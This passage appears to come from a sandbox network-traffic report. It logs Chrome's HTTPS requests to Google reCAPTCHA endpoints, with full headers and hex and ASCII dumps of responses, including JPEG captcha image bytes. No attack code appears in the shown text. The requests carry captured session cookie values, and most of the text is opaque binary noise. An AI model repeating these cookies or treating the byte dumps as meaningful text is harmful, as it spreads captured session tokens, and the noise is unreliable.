Mp2AdTunLyxPWbcFpM_Mgcxn95IxDQ0bCTP_rA3ZvvoUL2P_AeaOZ1by7ZIAQNrvG5BwALv6ib6q96XX2NYN8IsHfz0qT12ZfYPY-PiuyRcrMs3rRVQXlEkhkREgGc6r8DnXdq6T_wV8ktbiEgcCL39d2xzNKU4joDlcetV3UClFDdvs38Iiumu_4AcIHlOXVxHyzvg5n17k-lnZz3VbNcF2aRrdDkC1sCFJcrEbJ9xuQl41cjU6XcSOo52UN8s
2024-03-15 12:59:13 UTC	118	IN	Data Raw: 62 51 5a 74 4e 46 59 2d 38 31 4d 55 6a 45 39 5f 77 4e 72 33 62 48 37 62 45 35 76 34 74 56 54 49 52 37 6c 77 35 72 57 38 49 56 58 70 49 52 62 65 66 5a 72 55 52 71 4f 30 4a 53 50 71 6c 69 2d 6f 6c 57 54 76 73 4e 6c 2d 53 6e 35 5a 74 57 66 42 6c 67 6d 47 62 42 33 4b 61 65 54 52 6a 34 7a 41 4f 66 37 77 50 50 2d 41 4f 69 38 4c 32 53 30 6d 30 52 68 67 0d 0a Data Ascii: bQZtNFY-81MUjE9_wNr3bH7bE5v4tVTIR7lw5rW8IVXpIRbefZrURqO0JSPqli-olWTvsNl-Sn5ZtWfBlgmGbB3KaeTRj4zAOf7wPP-AOi8L2S0m0Rhg
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 31 35 61 64 0d 0a 4b 41 64 43 57 6d 4c 4f 31 46 47 7a 69 34 5f 4a 31 6a 4d 46 58 38 68 52 64 64 41 49 31 30 73 36 48 7a 78 52 47 78 46 45 6b 66 59 66 50 54 4c 71 5a 62 61 55 69 59 56 36 67 56 69 4c 31 50 75 39 74 46 47 32 2d 45 51 4e 48 4e 64 67 4e 42 37 32 43 61 45 6e 50 35 53 6a 74 4d 55 38 72 56 69 59 6d 66 4a 57 56 5f 66 74 54 79 66 54 6b 4b 74 74 4e 4a 70 5f 64 38 45 35 50 33 44 5a 35 72 58 52 4f 5f 35 35 66 6e 67 41 2d 69 73 66 36 79 77 50 47 53 59 57 48 67 56 75 50 41 4d 37 57 34 72 64 46 56 32 66 51 38 33 5f 6f 43 5f 73 77 53 33 71 38 4b 75 36 38 6e 68 4d 4c 45 58 5f 44 55 46 63 35 6f 34 51 66 38 67 58 42 4b 53 62 38 6b 69 44 75 48 50 76 36 46 76 72 32 63 6c 56 76 79 44 31 34 31 59 38 6d 47 39 65 70 6a 34 68 5a 34 31 4f 75 5a 4b 50 48 51 6a 38 77 Data Ascii: 15adKAdCWmLO1FGzi4_J1jMFX8hRddAI10s6HzxRGxFEkfYfPTLqZbaUiYV6gViL1Pu9tFG2-EQNHNdgNB72CaEnP5SjtMU8rViYmfJWV_ftTyfTkKttNJp_d8E5P3DZ5rXRO_55fngA-isf6ywPGSYWHgVuPAM7W4rdFV2fQ83_oC_swS3q8Ku68nhMLEX_DUFc5o4Qf8gXBKSb8kiDuHPv6Fvr2clVvyD141Y8mG9epj4hZ41OuZKPHQj8w
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 49 75 62 74 6e 71 76 64 45 61 79 6a 47 70 57 37 35 4e 42 63 57 37 5f 69 73 74 59 36 35 2d 32 7a 36 2d 61 69 51 55 33 69 4c 58 51 35 67 6d 67 56 52 4d 72 79 72 5a 75 79 6c 75 2d 57 5f 4c 2d 77 58 50 38 45 61 36 4b 75 39 4d 5f 6c 69 50 71 65 6e 48 68 6a 37 6b 6e 62 4c 30 30 5f 73 49 72 46 73 4a 6d 4a 33 34 67 70 30 55 38 64 6a 64 55 5a 71 58 4b 78 6b 2d 6d 4d 67 4a 71 4b 4c 5f 37 47 74 6f 41 34 69 76 30 75 6d 68 56 69 58 5a 4d 6c 68 6b 65 36 32 6c 46 77 52 6b 61 56 55 4d 36 2d 37 4b 76 6c 5f 61 65 67 76 42 57 4b 33 4b 56 73 6c 35 48 69 38 35 34 52 6a 6b 22 2c 6e 75 6c 6c 2c 31 32 30 2c 5b 22 70 6d 65 74 61 22 2c 5b 22 2f 6d 2f 30 31 62 6a 76 22 2c 6e 75 6c 6c 2c 33 2c 33 2c 33 2c 6e 75 6c 6c 2c 22 42 75 73 22 5d 5d 2c 22 69 6d 61 67 65 73 65 6c 65 63 74 22 Data Ascii: IubtnqvdEayjGpW75NBcW7_istY65-2z6-aiQU3iLXQ5gmgVRMryrZuylu-W_L-wXP8Ea6Ku9M_liPqenHhj7knbL00_sIrFsJmJ34gp0U8djdUZqXKxk-mMgJqKL_7GtoA4iv0umhViXZMlhke62lFwRkaVUM6-7Kvl_aegvBWK3KVsl5Hi854Rjk",null,120,["pmeta",["/m/01bjv",null,3,3,3,null,"Bus"]],"imageselect"
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 56 56 64 32 55 78 4e 55 4a 56 63 56 4a 32 65 56 46 75 54 45 51 77 52 6d 78 58 4e 47 56 42 4e 56 4a 54 65 56 5a 73 57 55 78 5a 56 6b 39 6d 65 6a 4a 50 4d 33 56 70 63 55 39 6f 54 58 5a 44 63 57 46 78 54 31 4e 6a 64 55 5a 43 4c 33 5a 78 4f 46 68 70 57 48 70 4c 57 56 64 44 61 6e 42 6f 4e 6e 41 7a 63 6c 4a 34 53 6c 4e 75 53 58 49 34 61 6e 4d 34 4d 7a 52 7a 54 7a 4a 36 5a 55 59 34 61 45 56 51 65 58 5a 48 56 57 52 73 63 45 55 77 57 45 46 34 62 57 46 5a 4f 47 46 77 64 47 4e 49 63 6d 35 73 56 79 73 34 63 6d 38 35 62 30 74 49 55 47 68 69 54 31 4e 47 56 54 42 6f 51 6d 74 4b 64 6d 6c 59 62 57 56 6e 64 45 31 44 57 56 6c 49 62 44 5a 78 63 6c 64 76 52 6b 35 4c 53 46 42 59 54 6d 6f 34 61 46 4a 43 55 56 6c 4c 52 6b 78 35 4e 56 70 31 56 58 6c 35 4e 33 6c 6a 62 47 74 6f 55 Data Ascii: VVd2UxNUJVcVJ2eVFuTEQwRmxXNGVBNVJTeVZsWUxZVk9mejJPM3VpcU9oTXZDcWFxT1NjdUZCL3ZxOFhpWHpLWVdDanBoNnAzclJ4SlNuSXI4anM4MzRzTzJ6ZUY4aEVQeXZHVWRscEUwWEF4bWFZOGFwdGNIcm5sVys4cm85b0tIUGhiT1NGVTBoQmtKdmlYbWVndE1DWVlIbDZxcldvRk5LSFBYTmo4aFJCUVlLRkx5NVp1VXl5N3ljbGtoU
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 68 61 56 45 56 6c 4f 45 74 53 5a 46 6b 79 59 30 70 57 53 47 31 6d 57 57 56 68 51 56 64 31 65 48 5a 72 53 57 35 4b 4e 33 4a 47 4b 7a 6c 61 63 45 64 42 52 33 4a 58 61 44 52 55 63 7a 52 77 57 57 39 79 5a 30 39 43 4e 32 46 42 61 54 4e 79 5a 30 31 4e 4f 44 55 77 57 47 4a 78 4d 46 64 52 55 54 45 7a 53 56 46 44 62 6b 67 77 56 56 46 6e 62 6b 46 35 56 56 5a 50 4c 32 5a 59 5a 45 78 59 56 69 74 47 4d 31 64 79 61 6e 70 6e 63 58 67 33 4c 33 68 32 4f 58 4a 31 54 55 64 4b 59 54 4e 69 53 58 4e 33 4e 6a 4a 77 5a 48 70 5a 5a 69 74 53 62 6e 70 36 56 6e 52 78 57 55 52 6a 51 30 68 76 62 47 4a 46 56 6d 31 46 56 7a 67 35 54 6e 42 76 5a 79 39 4b 57 6b 59 35 63 57 4a 6c 55 44 68 61 64 53 38 34 5a 6b 35 57 5a 47 39 75 55 30 46 75 51 6c 68 54 64 6e 52 56 59 55 68 51 5a 32 64 32 63 Data Ascii: haVEVlOEtSZFkyY0pWSG1mWWVhQVd1eHZrSW5KN3JGKzlacEdBR3JXaDRUczRwWW9yZ09CN2FBaTNyZ01NODUwWGJxMFdRUTEzSVFDbkgwVVFnbkF5VVZPL2ZYZExYVitGM1dyanpncXg3L3h2OXJ1TUdKYTNiSXN3NjJwZHpZZitSbnp6VnRxWURjQ0hvbGJFVm1FVzg5TnBvZy9KWkY5cWJlUDhadS84Zk5WZG9uU0FuQlhTdnRVYUhQZ2d2c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.17	49805	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:13 UTC	791	OUT	GET /recaptcha/api2/reload?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:13 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Fri, 15 Mar 2024 12:59:13 GMT Expires: Fri, 15 Mar 2024 12:59:13 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:13 UTC	217	IN	Data Raw: 64 33 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: d3<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-03-15 12:59:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.17	49809	142.250.64.68	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:13 UTC	1333	OUT	GET /recaptcha/api2/payload?p=06AFcWeA6bpWX7EoDSCuQQjjfWgzYm2qyPyPtK9SS20AGsd9OFxYuZvTlO2YBcs3WibgSXK4kXO6mbBXXCJRv9z_ZMysU785wIg113YrS63lByrsotaBadvsp3lULZyXlO75kENPEYazKmt6pl_yb1Ajk-4o3i_F50V7-1qSubrHrkv5d70EgrQYKGsmPZzKro6D6WCypm5-jR&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:13 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:59:13 GMT Date: Fri, 15 Mar 2024 12:59:13 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 38 33 35 35 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 8355JFIFC!"$"$C,,"}!1AQa"q
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 23 4e 04 a4 47 1b 2b 7c c1 48 3f 30 d9 bb 23 af 3e c0 55 9f f8 59 df 10 2d 3c 88 a3 d7 96 e1 12 41 94 96 d7 3b 42 e0 83 c8 00 f3 ef da b9 db cd 42 4b d9 8c f7 71 59 34 ac ed 21 70 8c 87 71 39 27 ef 9e e3 d2 b1 ad 45 d4 8e 96 2e 12 e5 7a 9e b2 3c 79 65 e1 ed 0a 3d 35 3c cd 16 ca 78 0b 58 49 2c 45 cc 6a 4e ef e1 52 79 04 11 9e 39 eb d2 b0 2e 35 f3 71 e1 89 74 9b 6d 60 34 92 c4 b2 6f 94 1d e4 85 fb a3 03 ee ed db c9 60 7a 57 01 6d aa 4d 1c 71 c6 c1 2e 16 2c aa ac b2 12 00 f4 c6 d3 c7 1d 3f 2e 73 5a 36 fa b5 e1 72 52 c6 0b 68 dd b7 b0 62 cd f2 85 c0 da 78 e3 8e 98 fa 7a 57 1e 2b 1d 3a 14 e3 36 95 af 6b 1b 53 a3 19 49 ab 9e 91 e0 2f 16 43 a6 4b 75 e1 f9 c3 dc 40 b2 bb 43 7a cf 9c a8 19 0c 54 f3 80 07 5a c8 f1 19 99 7c 71 a8 d9 c7 6e c8 ae c3 ca 95 8e ed c5 94 Data Ascii: #NG+\|H?0#>UY-<A;BBKqY4!pq9'E.z<ye=5<xXI,EjNRy9.5qtm`4o`zWmMq.,?.sZ6rRhbxzW+:6kSI/CKu@CzTZ\|qn
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: d5 f4 67 d7 d6 3f 13 3e 10 f8 f2 11 6d 71 a8 58 c5 71 22 85 7b 7d 56 2f b3 48 79 3d 5c fc ad db 8d c7 a5 2f 8a 7e 17 69 f7 90 41 73 a0 45 64 c2 28 44 70 46 f2 c9 08 2b 92 d8 59 a2 38 c6 5c e3 e5 eb de be 42 fb 4d b2 2c 72 48 81 b2 0e 48 c6 54 ff 00 4a d3 d1 3c 5b ad 78 79 a4 b8 f0 c6 b9 7f a7 49 fe b0 c7 1d c3 04 6c 0c e1 90 92 ad 9f 7a c7 99 5f 52 53 6b 66 7d 01 e2 4d 33 c5 da 45 ca b1 d2 fc 4d 6f 68 b1 43 18 9e cf 56 0f 01 db 1a a9 f9 5b 3d c1 c9 3c 9e 4f 7a a5 e2 2f 14 cd 71 ac 5f d9 ac b2 fd 85 59 84 91 4a d1 a0 3b 58 9d a0 ed 39 53 c7 07 a8 18 3d 6b 37 c1 5f b4 97 89 ed 00 83 59 d3 2c f5 88 08 cb ba e2 29 0f 1c e4 8c 28 ff 00 be 4d 74 97 3e 30 f8 0d e3 dd c9 ae 58 c9 e1 eb e9 4f cd 2f 97 e5 82 c7 bf ca 0a b7 d5 96 b4 4d ab a4 cd 55 9e e7 cd 9e 2f f0 Data Ascii: g?>mqXq"{}V/Hy=\/~iAsEd(DpF+Y8\BM,rHHTJ<[xyIlz_RSkf}M3EMohCV[=<Oz/q_YJ;X9S=k7_Y,)(Mt>0XO/MU/
2024-03-15 12:59:13 UTC	348	IN	Data Raw: 42 c3 ce 54 8c e5 f3 ca 83 8f 9b 8e 39 3c 9f 53 f8 f2 e6 bc d4 54 62 d6 ad 7f 5f 99 9c 2a 29 46 eb b9 b1 26 a8 e8 d1 db 5c ba bc aa 79 60 d9 de a3 81 9c f5 e3 f9 57 71 f0 cf 5f d1 b4 bf 13 c5 71 7b 73 26 c5 8d 8c 8c 57 8f 33 18 dc 02 9e 9c f7 cf 4e 9d eb c4 f4 ab 8b 9b a1 f6 87 31 95 c6 dd e0 8e dc 80 07 d7 f9 9f 4a ee 3e 1d f8 63 52 f1 37 89 9f 4d f3 12 32 b0 3d ca 4d d7 7a e0 6d ef c8 c9 1d 31 fe 3e 4d 15 53 da ae 4d cb e6 3d cb c7 fe 23 b5 d5 f4 68 c6 9f 3f 98 8a 1e 47 55 71 b7 e5 19 dd bb 38 23 19 c0 e3 af d2 b8 6d 00 4c 5e 69 ee 0c 6e fe 51 54 42 4f cd d7 9c 9e 83 9e 3f 0a e9 fc 01 e0 ab d4 b0 79 b5 66 bb c5 aa b2 fd 99 d3 08 f9 53 9d 80 f1 90 72 39 f6 e9 5e 73 a3 6b 51 44 da d5 b4 e5 bc dd 91 c5 0a 81 81 b7 78 24 12 0e 54 f1 9e f9 e6 b4 c7 d3 e5 a9 Data Ascii: BT9<STb_*)F&\y`Wq_q{s&W3N1J>cR7M2=Mzm1>MSM=#h?GUq8#mL^inQTBO?yfSr9^skQDx$T
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 59 6e 24 86 25 64 41 b5 a3 21 22 c0 c3 31 53 d4 1e 4e 38 fc eb 05 55 53 ac a3 49 d9 dd 7a 7e 26 b4 d2 9e 8c e9 3c 56 6c 75 a9 8d e2 f8 82 08 04 09 2a 0b 54 19 b9 67 4e 40 1f 2f cb 9c 7e 9c 1e b8 f2 8b 89 22 3a 9d ac 8d 71 2a 5b ad ff 00 97 73 1c 93 c6 c6 3c 64 ab 28 03 71 e1 4e 78 c0 cf e5 d5 5d eb 17 17 57 b1 5c fd a2 de c6 f2 24 91 96 e5 55 91 9d fb 33 9f 5e 98 3c f1 d4 8a e6 bc 4d e5 c9 fe 97 1b 5a 9b 93 86 ba 96 38 da 44 90 2e e2 d2 29 27 8e 0e 4e 7b e6 bd 49 d4 53 f7 e5 6b ff 00 5e 67 4a 8f 27 ba 9e 85 ab 29 25 b9 d6 65 31 2f ee ad 60 20 cf 86 06 20 7a 96 5c 6e 39 e7 f3 af 44 f8 59 e2 0f b0 ea 72 58 4d 33 bc 51 8d 8f 1e d2 63 dd 91 82 5c e0 27 07 8e 39 fc ab c6 f4 7d 77 6e b0 c1 af e2 81 37 21 70 ed 90 ed 92 00 c2 87 cf 42 71 c7 6e 38 e7 d8 fc 27 ae Data Ascii: Yn$%dA!"1SN8USIz~&<VluTgN@/~":q[s<d(qNx]W\$U3^<MZ8D.)'N{ISk^gJ')%e1/` z\n9DYrXM3Qc\'9}wn7!pBqn8'
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 6e 0e 09 39 c8 00 fe 55 b1 1d f5 8c ad 88 2f 6d e5 7c 12 15 26 0c 4f e4 6a 9d fd e5 a4 96 b2 a4 99 6f 98 2b 29 39 1d 7a 7e 95 c9 99 72 4a 3c 8e 56 7b 97 45 36 ce 06 fe fe 2b bd 42 eb 7b c9 24 d2 46 b2 02 ed fb cc e5 97 f1 e8 bf 5a cc d7 ee 5a 1d 1a d6 f0 a2 7c 93 b2 23 1c 03 9d ac 55 8f ae 47 6a de d7 24 8c 78 8a 35 06 df ca 96 cf 11 cc 23 05 a2 2b 31 2a 72 38 27 73 8e 71 9c 0a e5 bc 51 e2 14 96 e7 43 b1 d4 20 53 0c 12 83 29 51 8c c8 89 83 e9 c6 49 cf d2 bc 35 45 ba 97 bd f6 fc 8e e5 36 a3 ca 7b 0f c2 93 bf 48 1a 64 6a 8e 9b 42 86 04 bb 6c ce 46 3f 2e 38 e2 bc e3 e3 ce 9a f1 ea 91 5f c5 19 55 1f c3 b3 07 68 e0 7f e8 3d ab 4f e1 16 a7 a9 9b f9 2e ed d1 92 cb c9 e2 60 70 8a d9 c1 cf bf 27 8e b5 bb f1 b6 c4 de 66 04 26 51 1a 05 27 b0 eb d0 fe 06 bb 30 f2 e8 Data Ascii: n9U/m\|&Ojo+)9z~rJ<V{E6+B{$FZZ\|#UGj$x5#+1*r8'sqQC S)QI5E6{HdjBlF?.8_Uh=O.`p'f&Q'0
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 9a fc cf 24 92 19 21 52 88 bb 95 42 93 c1 ec 30 7f c2 ac bf 82 75 79 ac 1b 50 9e f8 24 51 ba 86 25 99 b6 1e c0 95 42 06 71 d3 35 b5 7d ae 5e 6b 3a b5 d5 e6 97 e0 df 15 4e 93 ce f2 26 fb 2d 80 06 62 40 dd 92 3b d6 ae 9b 17 c4 06 d1 af f4 e8 bc 11 1d ad b5 eb 46 cd 35 e6 a5 1e 57 61 24 61 54 67 bf a1 ac a3 87 93 8d d4 36 f2 3c df 6e 94 94 79 97 de 8e 13 e1 e6 83 2e b3 35 ee 95 0b 5a 2d c2 6a e4 2c 72 8f 99 ff 00 84 01 9e 30 71 5d 07 8a 7c 21 a6 6b da c4 6f a0 dc 5b e9 9e 64 01 1e d9 a2 66 0d 28 cf 2a 7b 64 01 f8 d6 a7 82 fe 18 f8 ee 0d 72 5b c8 35 cd 16 c2 e6 69 be d2 65 8e 37 9b cb 60 4e 30 18 05 3d 7d eb ad d2 be 10 99 6e 9a 5d 6f c6 1a c4 d2 21 25 be c6 91 d9 8d df 50 18 81 f4 35 86 27 11 4b 0c 9b aa f6 5b 75 d7 c8 75 31 71 8c ec a5 bf 93 ff 00 86 3c de Data Ascii: $!RB0uyP$Q%Bq5}^k:N&-b@;F5Wa$aTg6<ny.5Z-j,r0q]\|!ko[df(*{dr[5ie7`N0=}n]o!%P5'K[uu1q<
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: d9 e8 96 b3 f8 d9 6d 1a d3 ed 29 70 36 18 8b f9 6a d8 3b 89 dc 39 e0 03 c0 ea 71 5c be a3 0b e9 d7 97 23 c8 32 18 66 23 11 8d c3 a9 c7 53 5e 95 74 12 c3 59 b0 bd 44 25 d6 62 37 07 db 82 54 f7 1d f9 ae 1b c7 2a d2 78 9d e4 96 67 51 70 ab 29 65 c0 1d 39 03 91 9e 83 de 9c e2 a5 a8 4d 69 73 aa fe d2 56 d0 f4 98 af 74 bb 7b 51 23 23 35 c7 d9 e3 12 bb bb e5 4f 39 60 08 c0 dc 14 74 18 26 bc eb 52 fb 5a 5d 98 6e e3 96 39 53 1b b7 0c 03 9c 73 ef 9c 83 f8 d7 a7 f8 a7 c2 da 96 9b 69 a4 5d 59 43 21 b6 69 21 79 98 dc 24 c0 02 17 2c 19 3a 03 c7 ca c4 90 5b 8e e6 bc 92 1b d7 d4 9d ae a4 dd 13 c4 aa db 37 12 18 75 e3 f2 ef 47 23 76 4b a2 39 f5 67 6d a2 5a df db 9f b3 c0 23 57 0a 32 71 c1 04 8f 5a f6 6d 0f 40 f8 86 fa 75 b5 de 93 a3 69 2b 6f 2c 48 e9 e6 cb 12 67 20 72 15 Data Ascii: m)p6j;9q\#2f#S^tYD%b7T*xgQp)e9MisVt{Q##5O9`t&RZ]n9Ssi]YC!i!y$,:[7uG#vK9gmZ#W2qZm@ui+o,Hg r
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 0f b1 32 c2 d6 a0 e1 29 2b 26 8c 57 d6 16 7b 63 14 c0 a3 87 38 8b 70 04 2a e0 74 f4 c9 eb f4 ae 4f 57 f1 16 8f 7d af 5b e9 37 10 25 cf d9 1c 5c b9 88 73 14 80 61 79 f5 f6 ac c9 86 b9 71 67 2c da 6c 72 4c 90 21 fb 75 e9 6f dd a6 5c 65 55 bf 89 be e8 38 ce 3f 94 7a 65 a5 95 94 79 b6 b2 81 19 b9 90 f3 96 3e a4 e7 24 d7 25 59 c3 93 d9 c1 75 7e 47 d0 e5 b8 29 d3 97 b5 a8 ce c8 78 96 c4 b0 51 14 e7 3d f0 07 f5 a4 4d 7d 6e af 20 b6 45 44 f3 1d 63 0f 34 81 51 32 71 92 7b 0e 73 5c bc 84 32 f0 aa 0f a0 35 bd e1 df 09 1d 53 c2 fa ae b7 73 70 f6 b1 da 29 10 e1 37 79 ae 06 4a e3 fe f9 03 dc d7 1a a3 1b 9e e3 ad 2b 14 7e 3f dc 5d db e9 fa 5e 9f 1d fc d7 f0 9b 8b 98 6c e3 07 e5 f2 d4 42 64 23 27 00 6e 62 a4 fa d7 3b f0 7e 0b e9 26 d4 6e 2e 35 24 b5 ba 11 a3 85 88 33 34 Data Ascii: 2)+&W{c8p*tOW}[7%\sayqg,lrL!uo\eU8?zey>$%Yu~G)xQ=M}n EDc4Q2q{s\25Ssp)7yJ+~?]^lBd#'nb;~&n.5$34
2024-03-15 12:59:13 UTC	1252	IN	Data Raw: 08 23 95 6e bd 3a 90 7a 75 e7 8b 5e 17 f8 95 e2 cb 8b 1b 0b 94 97 55 ba b4 df 24 73 8b 5b 39 25 28 39 da c4 85 c8 39 5c 60 16 18 6f a0 19 4b 07 87 b5 d2 5f 72 3a a3 9a 63 96 f5 65 7f f1 3f f3 3d 62 df c4 5f 0f 34 48 6c f5 5f b0 6b ba 7a cb 23 2c 7b 8c a1 fe 52 01 2c a1 89 c7 3e 95 e9 96 3a fe 99 7d 16 1a 73 68 cd d1 65 70 84 8e c4 10 70 7f 03 ec 6b c1 ac 7e 29 6a 7e 56 f9 6e 35 64 53 d5 2e ec a6 43 f8 86 5a cc 9f e3 26 b3 a6 de 4a 34 59 34 94 b0 b3 8f ed 33 a5 c5 ae d6 b9 90 b1 dc a3 18 c1 c0 1c 81 d4 fe 14 46 95 38 2b 41 58 c6 ae 22 bd 79 29 55 93 93 f3 d4 fa 62 28 20 8a 65 45 7b 96 32 06 60 4b 33 2f 6c e5 ba 0e a3 8c f3 ce 3a 1a 9e ea e2 de ce d6 5b 9b a9 e3 82 08 94 bc 92 ca e1 55 14 72 49 27 80 05 78 35 e7 c7 08 ef 6e a0 97 c2 ce 9a 83 42 e5 65 b2 59 Data Ascii: #n:zu^U$s[9%(99\`oK_r:ce?=b_4Hl_kz#,{R,>:}sheppk~)j~Vn5dS.CZ&J4Y43F8+AX"y)Ub( eE{2`K3/l:[UrI'x5nBeY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.17	49812	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
